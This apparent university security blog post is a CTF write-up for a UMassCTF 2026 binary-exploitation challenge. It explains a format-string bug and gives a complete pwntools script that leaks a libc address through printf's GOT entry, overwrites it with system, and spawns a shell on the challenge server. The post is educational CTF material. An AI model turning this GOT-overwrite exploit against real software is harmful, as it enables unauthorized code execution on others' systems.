CCY Lock Logocornellcyber/blog_

Brick City Office Space Writeup - UMassCTF 2026

Liam DeMong, Audrey Holden
󰃭 12 April, 2026

Description

Help design the office space for Brick City’s new skyscraper! read flag.txt for design specifications

Files

Initial Observations

Vulnerability Analysis

Where is the bug?

The function responsible for printing the user’s submitted ASCII art design back to the terminal

Why does it exist?

The user-controlled input buffer is passed directly to a print function without using a format specifier

What primitives does it give you?

Arbitrary read and write

Exploitation Strategy

Full Exploit Script

from pwn import *

# Set up logging to catch I/O hangs
context.log_level = 'debug' 

# Set up the environment
context.binary = elf = ELF('./BrickCityOfficeSpace')
libc = ELF('./libc.so.6') 

io = remote("brick-city-office-space.pwn.ctf.umasscybersec.org", 45001)

# Loop 1: leak
io.recvuntil(b"BrickCityOfficeSpace> ") 

# Payload: Read the real memory address stored inside printf's GOT entry
printf_got = elf.got['printf'] 
leak_payload = p32(printf_got) + b"%4$s"

io.sendline(leak_payload)
io.recvuntil(p32(printf_got)) 
printf_leak = u32(io.recv(4)) 

log.success(f"Leaked printf address: {hex(printf_leak)}")

# Stage 2: math
libc.address = printf_leak - libc.symbols['printf']
log.success(f"Libc Base: {hex(libc.address)}")

system_addr = libc.symbols['system']
log.success(f"System address: {hex(system_addr)}")

# Trigger the next loop
io.sendlineafter(b"(y/n)", b"y") 

# Loop 2: overwrite
io.recvuntil(b"BrickCityOfficeSpace> ")

# Use pwntools to automatically generate the complex %n payload
# offset=4, write the system_addr into printf_got
overwrite_payload = fmtstr_payload(4, {printf_got: system_addr})
io.sendline(overwrite_payload)

# Trigger the final loop
io.sendlineafter(b"(y/n)", b"y")

# Loop 3: pop shell
io.recvuntil(b"BrickCityOfficeSpace> ")

# The GOT is now hijacked. printf is now system.
io.sendline(b"/bin/sh")

# Drop to interactive mode to interact with the shell
io.interactive()

Demo / Output

Terminal screenshot of exploit script run

Key Takeaways

Vulnerability class

Format String Vulnerability

What you’d do differently or what tripped you up?

I/O synchronization with pwntools caused the exploit script to hang initially


Authors